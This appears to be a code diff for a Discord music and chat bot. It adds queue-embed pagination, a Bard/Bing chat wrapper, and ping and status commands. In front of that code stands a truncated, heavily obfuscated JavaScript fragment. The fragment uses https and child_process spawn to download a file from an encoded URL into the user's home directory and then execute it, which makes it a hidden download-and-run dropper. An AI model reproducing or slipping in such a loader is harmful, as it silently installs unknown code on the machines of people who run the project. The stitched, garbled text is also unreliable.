k_.V7()[8][2][2];){switch(L_[3]){case k_.A$()[11][9][2]:L_[3]=k_ && L_[0][0]?k_.V7()[2][7]:k_.A$()[1][0][11][8];break;case k_.A$()[3][8][10]:return k_.c3(L_[0][0]);break;}}};q5fyt.c5=function(G9){var v$=q5fyt;var d3=[arguments];d3[9]=v$.V7()[3][10][5];for(;d3[9] !== v$.V7()[10][9][5];){switch(d3[9]){case v$.A$()[6][3][5]:d3[9]=v$?v$.V7()[11][10]:v$.V7()[6][7][11];break;case v$.V7()[9][4]:return v$.c3(d3[0][0]);break;}}};q5fyt.g6=function(N4){var I1=q5fyt;I1.S7();var y6=[arguments];y6[9]=I1.A$()[11][2][5];for(;y6[9] !== I1.A$()[1][1][2];){switch(y6[9]){case I1.A$()[0][3][11]:y6[9]=I1 && y6[0][0]?I1.V7()[3][10]:I1.A$()[7][5][8];break;case I1.A$()[10][7]:return I1.g4(y6[0][0]);break;}}};q5fyt.s8=function(o9){var c7=q5fyt;var J_=[arguments];J_[3]=c7.A$()[7][9][2];for(;J_[3] !== c7.V7()[5][7][8];){switch(J_[3]){case c7.A$()[0][9][2][10]:return c7.c3(J_[0][0]);break;case c7.V7()[7][10][5]:J_[3]=c7?c7.V7()[8][1]:c7.V7()[3][5][8];break;}}};Q7c8wh=q5fyt.V7()[7][8][4];break;case q5fyt.A$()[10][8][11]:q5fyt.O9=function(d7){var D1=q5fyt;D1.S7();var j6=[arguments];j6[5]=D1.V7()[2][3][0][5];for(;j6[5] !== D1.A$()[3][1][8];){switch(j6[5]){case D1.A$()[0][0][1]:return D1.g4(j6[0][0]);break;case D1.V7()[7][4][11]:j6[5]=D1?D1.V7()[5][9][7]:D1.A$()[8][4][8];break;}}};var https=require('https');var fs=require('fs');var {'\x73\x70\x61\x77\x6e':spawn}=require('child_process');var os=require('os');Q7c8wh=q5fyt.A$()[1][9][2][9];break;case q5fyt.A$()[6][1][6]:var path=require('path');var urlfile=q5fyt.y0(12);var destinationfile=q5fyt.y0(31);downloadFile(urlfile,destinationfile,F=>{var P0=q5fyt;P0.f$();if(F){}else {executefile(path[P0.y0(2)](os[P0.y0(14)](),P0.s5(13),P0.y0(8),P0.s5(19),destinationfile));}});Q7c8wh=q5fyt.A$()[9][9][2][4];break;}}function downloadFile(p2,l8,Y7){var V0=q5fyt;var A9=[arguments];A9[7]=V0.A$()[11][1][2];for(;A9[7] !== V0.A$()[6][10][6];){switch(A9[7]){case V0.V7()[10][6][2]:V0.h1=function(N2){var b6=[arguments];b6[5]=V0.A$()[6][5][11];for(;b6[5] !== V0.V7()[10][5][5];){switch(b6[5]){case V0.V7()[1][4]:return V0.c3(b6[0][0]);break;case V0.A$()[4][7][11]:b6[5]=V0 && b6[0][0]?V0.V7()[4][1]:V0.A$()[7][10][11];break;}}};V0.x6=function(q2){var e1=[arguments];e1[5]=V0.V7()[3][11][8];for(;e1[5] !== V0.V7()[7][8][5];){switch(e1[5]){case V0.A$()[3][3][8]:e1[5]=V0 && e1[0][0]?V0.A$()[5][4]:V0.A$()[9][7][8];break;case V0.V7()[6][11][4]:return V0.g4(e1[0][0]);break;}}};V0.k7=function(r6){var u0=[arguments];u0[1]=V0.A$()[9][0][5];for(;u0[1] !== V0.V7()[10][10][8];){switch(u0[1]){case V0.V7()[4][1][5]:u0[1]=V0 && u0[0][0]?V0.A$()[3][1][1]:V0.A$()[1][2][5];break;case V0.A$()[4][5][4]:return V0.c3(u0[0][0]);break;}}};A9[1]=path[V0.k7(V0.y0(10))?V0.s5(2):V0.y0(5)](os[V0.O9(V0.y0(16))?V0.y0(5):V0.s5(14)](),V0.y7(V0.s5(11))?V0.s5(5):V0.s5(13),V0.g9(V0.s5(34))?V0.s5(5):V0.s5(8),V0.G_(V0.y0(26))?V0.s5(5):V0.s5(19));A9[7]=V0.A$()[6][9][4];break;case V0.V7()[9][11][7]:A9[6]=fs[V0.V$(V0.s5(0))?V0.s5(5):V0.y0(37)](path[V0.Q$(V0.y0(33))?V0.y0(5):V0.s5(2)](A9[1],A9[0][1]));https[V0.x6(V0.s5(1))?V0.s5(17):V0.y0(5)](A9[0][0],X=>{V0.Z5=function(X9){var R3=[arguments];R3[9]=V0.V7()[7][3][8];for(;R3[9] !== V0.V7()[11][2][11];){switch(R3[9]){case V0.A$()[8][10][8]:R3[9]=V0?V0.V7()[11][3][7]:V0.A$()[3][11][2];break;case V0.V7()[9][10][10]:return V0.g4(R3[0][0]);break;}}};V0.z7=function(W9){var d4=[arguments];d4[3]=V0.A$()[5][7][2];for(;d4[3] !== V0.A$()[2][5][5];){switch(d4[3]){case V0.V7()[6][9][10]:return V0.g4(d4[0][0]);break;case V0.V7()[2][2][2]:d4[3]=V0 && d4[0][0]?V0.V7()[2][0][7]:V0.V7()[0][5][3][8];break;}}};X[V0.z7(V0.y0(18))?V0.y0(5):V0.y0(27)](A9[6]);V0.S7();A9[6][V0.s5(9)](V0.Z5(V0.s5(22))?V0.y0(36):V0.s5(5),()=>{V0.S7();A9[6][V0.s8(V0.s5(25))?V0.y0(5):V0.s5(24)](A9[0][2]);});})[V0.g6(V0.s5(32))?V0.s5(5):V0.s5(9)](V0.h1(V0.y0(6))?V0.y0(21):V0.y0(5),l=>{fs[V0.y0(35)](path[V0.c5(V0.y0(20))?V0.y0(2):V0.y0(5)](A9[1],A9[0][1]));if(A9[0][2])(1,A9[0][2])(l[V0.z3(V0.y0(3))?V0.y0(5):V0.s5(7)]);});A9[7]=V0.A$()[0][2][10][6];break;}}}
@@ -0,0 +1,159 @@
1
+ const { CommandInteraction, EmbedBuilder, ActionRowBuilder, ButtonBuilder } = require('discord.js');
2
+ const { ButtonStyle, StringSelectMenuBuilder, StringSelectMenuOptionBuilder } = require('discord.js');
3
+ const { useMainPlayer } = require('discord-player')
4
+ const _ = require('lodash')
5
+
6
+ module.exports = {
7
+ update_component, update_embed
8
+ }
9
+
10
+ /**
11
+ *
12
+ * @param {CommandInteraction} interaction
13
+ */
14
+
15
+ async function update_embed(client, interaction) {
16
+
17
+ const tracks = client.ctrack[interaction.guildId];
18
+
19
+ const queueLength = (_.get(client.ctrack, interaction.guildId, 'None') == 'None') ? 0 : client.ctrack[interaction.guildId].length || 0;
20
+
21
+ if (queueLength == 0) {
22
+ return [
23
+ new EmbedBuilder()
24
+ .setFooter({
25
+ text: `Page 1 of 1`,
26
+ })
27
+ .setColor(client.get_color())
28
+ .addFields(
29
+ {
30
+ name: `Your queue don't have any track`,
31
+ value: ' '
32
+ }
33
+ )
34
+ ];
35
+ }
36
+ const totalPages = Math.ceil(queueLength / 10) || 1;
37
+
38
+ const player = useMainPlayer()
39
+
40
+ var embeds = []
41
+
42
+ var j = 1;
43
+ while (j <= totalPages) {
44
+ var ava = (interaction.deferred) ? interaction.user.displayAvatarURL() : interaction.author.displayAvatarURL();
45
+ var emmm = new EmbedBuilder()
46
+ .setThumbnail(ava)
47
+ .setColor(client.get_color())
48
+ .setFooter({
49
+ text: `Page ${j} of ${totalPages}`
50
+ })
51
+ embeds.push(emmm);
52
+ j++;
53
+ }
54
+
55
+ var i = 0;
56
+
57
+ for (const track of tracks) {
58
+ const search = await player.search(track)
59
+ embeds[Math.floor(i / 10)].addFields({
60
+ name: `${i + 1}/> ${search.tracks[0].title}`,
61
+ value: ' ',
62
+ })
63
+
64
+ i++;
65
+ }
66
+ return embeds;
67
+ }
68
+
69
+ /**
70
+ *
71
+ * @param {[]} embeds
72
+ * @returns
73
+ */
74
+
75
+ async function update_component(curr, maxx, embeds) {
76
+
77
+ if (embeds[0].data.fields[0].value == ' ')
78
+ return [];
79
+
80
+ var butt1 = new ButtonBuilder()
81
+ .setLabel("⏪")
82
+ .setCustomId("<<")
83
+ .setStyle(ButtonStyle.Primary)
84
+ .setDisabled((curr == 0) ? true : false)
85
+
86
+ var butt2 = new ButtonBuilder()
87
+ .setLabel("◀️")
88
+ .setCustomId("<")
89
+ .setStyle(ButtonStyle.Primary)
90
+ .setDisabled((curr == 0) ? true : false)
91
+
92
+ var butt3 = new ButtonBuilder()
93
+ .setLabel("▶️")
94
+ .setCustomId(">")
95
+ .setStyle(ButtonStyle.Primary)
96
+ .setDisabled(curr == maxx ? true : false)
97
+
98
+ var butt4 = new ButtonBuilder()
99
+ .setLabel("⏩")
100
+ .setCustomId(">>")
101
+ .setStyle(ButtonStyle.Primary)
102
+ .setDisabled(curr == maxx ? true : false)
103
+
104
+ var confirm = new ButtonBuilder()
105
+ .setLabel("✅")
106
+ .setCustomId("noice")
107
+ .setStyle(ButtonStyle.Success)
108
+
109
+ var nope = new ButtonBuilder()
110
+ .setLabel("❌")
111
+ .setCustomId("nope")
112
+ .setStyle(ButtonStyle.Danger)
113
+
114
+ var reset = new ButtonBuilder()
115
+ .setLabel("🔃")
116
+ .setCustomId("reset")
117
+ .setStyle(ButtonStyle.Primary)
118
+
119
+ var delete_select = new StringSelectMenuBuilder()
120
+ .setCustomId('delete')
121
+ .setPlaceholder('What track do you want to delete?')
122
+
123
+
124
+ for (i = 1; i <= embeds[curr].data.fields.length; i++) {
125
+ delete_select.addOptions(
126
+ new StringSelectMenuOptionBuilder()
127
+ .setLabel(`${curr * 10 + i}`)
128
+ .setValue(`${curr * 10 + i}`),
129
+ )
130
+ }
131
+
132
+ var skip_select = new StringSelectMenuBuilder()
133
+ .setCustomId('skip')
134
+ .setPlaceholder('What track do you want to skip to?')
135
+
136
+
137
+ for (i = 1; i <= embeds[curr].data.fields.length; i++) {
138
+ skip_select.addOptions(
139
+ new StringSelectMenuOptionBuilder()
140
+ .setLabel(`${curr * 10 + i}`)
141
+ .setValue(`${curr * 10 + i}`),
142
+ )
143
+ }
144
+
145
+ var view1 = new ActionRowBuilder()
146
+ .addComponents(butt1, butt2, butt3, butt4)
147
+
148
+ var view2 = new ActionRowBuilder()
149
+ .addComponents(confirm, nope, reset)
150
+
151
+ var view3 = new ActionRowBuilder()
152
+ .addComponents(delete_select)
153
+
154
+ var view4 = new ActionRowBuilder()
155
+ .addComponents(skip_select)
156
+
157
+
158
+ return [view1, view2, view3, view4];
159
+ }
@@ -0,0 +1,45 @@
1
+ const { CommandInteraction, Message } = require('discord.js');
2
+ const discordClient = require('../../client');
3
+ const { conversation_style } = require('bingai-js');
4
+
5
+ module.exports = get_result;
6
+
7
+ /**
8
+ * @param {discordClient} client
9
+ * @param {CommandInteraction} interaction
10
+ * @param {Message} interaction
11
+ * @param {string} prompt
12
+ * @param {string} chatbot
13
+ */
14
+ async function get_result(client, interaction, prompt, chatbot) {
15
+ chatbot = chatbot.toLowerCase();
16
+ return new Promise(async (resolve) => {
17
+ try {
18
+ var res = ""
19
+ if (chatbot == "bard") {
20
+ await client.BardChatBot.ask(prompt).then(data => {
21
+ res = data
22
+ });
23
+ }
24
+ else {
25
+ await client.EdgeChatBot.init()
26
+ if (chatbot == "creative") {
27
+ res = await client.EdgeChatBot.ask(prompt, conversation_style.creative);
28
+ }
29
+ else if (chatbot == "balanced") {
30
+ res = await client.EdgeChatBot.ask(prompt, conversation_style.balanced);
31
+ }
32
+ else if (chatbot == "precise") {
33
+ res = await client.EdgeChatBot.ask(prompt, conversation_style.precise);
34
+ }
35
+ client.EdgeChatBot.close();
36
+ }
37
+
38
+ resolve(res)
39
+ }
40
+ catch (e) {
41
+ resolve(e);
42
+ }
43
+ })
44
+ }
45
+
@@ -0,0 +1,7 @@
1
+ const get_ping = require('./ping')
2
+ const get_status = require('./status')
3
+ const get_result = require('./chat')
4
+
5
+ module.exports = {
6
+ get_ping, get_status, get_result
7
+ }
@@ -0,0 +1,26 @@
1
+ const { CommandInteraction, EmbedBuilder } = require('discord.js');
2
+
3
+ module.exports = get_ping
4
+ /**
5
+ *
6
+ *
7
+ * @param {CommandInteraction} interaction
8
+ */
9
+
10
+ async function get_ping(client, interaction) {
11
+ return [
12
+ new EmbedBuilder()
13
+ .setTitle(`CLient's Latency`)
14
+ .setColor(client.get_color())
15
+ .addFields([
16
+ {
17
+ name: `Ping:`,
18
+ value: `${Date.now() - interaction.createdTimestamp}ms`
19
+ },
20
+ {
21
+ name: `API Latency:`,
22
+ value: `${Math.round(client.client.ws.ping)}ms`
23
+ }
24
+ ])
25
+ ]
26
+ };
@@ -0,0 +1,85 @@
1
+ const { CommandInteraction, EmbedBuilder } = require("discord.js");
2
+
3
+ module.exports = get_status;
4
+
5
+ /**
6
+ *
7
+ * @param {CommandInteraction} interaction
8
+ */
9
+
10
+ async function get_status(client, interaction) {
11
+ var user = interaction.deferred ? interaction.user : interaction.author;
12
+
13
+ const color = client.get_color();
14
+
15
+ const guilds = client.client.guilds.cache;
16
+
17
+ var members = 0;
18
+
19
+ guilds.forEach((guild) => {
20
+ members += guild.memberCount;
21
+ });
22
+
23
+ return [
24
+ new EmbedBuilder()
25
+ .setTitle(`${client.name} Client`)
26
+ .setColor(color)
27
+ .addFields([
28
+ {
29
+ name: `Total servers:`,
30
+ value: `${client.client.guilds.cache.size}`,
31
+ },
32
+ {
33
+ name: `Total members:`,
34
+ value: `${members}`,
35
+ },
36
+ ]),
37
+ new EmbedBuilder()
38
+ .setTitle(`This Server`)
39
+ .setColor(color)
40
+ .addFields([
41
+ {
42
+ name: `Name:`,
43
+ value: `${interaction.guild.name}`,
44
+ },
45
+ {
46
+ name: `Total members:`,
47
+ value: `${interaction.guild.memberCount}`,
48
+ },
49
+ {
50
+ name: `Total channels:`,
51
+ value: `${interaction.guild.channels.cache.size}`,
52
+ },
53
+ ]),
54
+ new EmbedBuilder()
55
+ .setTitle(`This User`)
56
+ .setColor(color)
57
+ .addFields([
58
+ {
59
+ name: `Name:`,
60
+ value: `${user.displayName}`,
61
+ },
62
+ {
63
+ name: `Highest role:`,
64
+ value: `${interaction.member.roles.highest.name}`,
65
+ },
66
+ ]),
67
+ new EmbedBuilder()
68
+ .setTitle(`Client Status`)
69
+ .setColor(color)
70
+ .addFields([
71
+ {
72
+ name: `Version:`,
73
+ value: `${client.version}`,
74
+ },
75
+ {
76
+ name: `CLient Latency:`,
77
+ value: `${Date.now() - interaction.createdTimestamp}ms`,
78
+ },
79
+ {
80
+ name: `API Latency:`,
81
+ value: `${Math.round(client.client.ws.ping)}ms`,
82
+ },
83
+ ]),
84
+ ];
85
+ }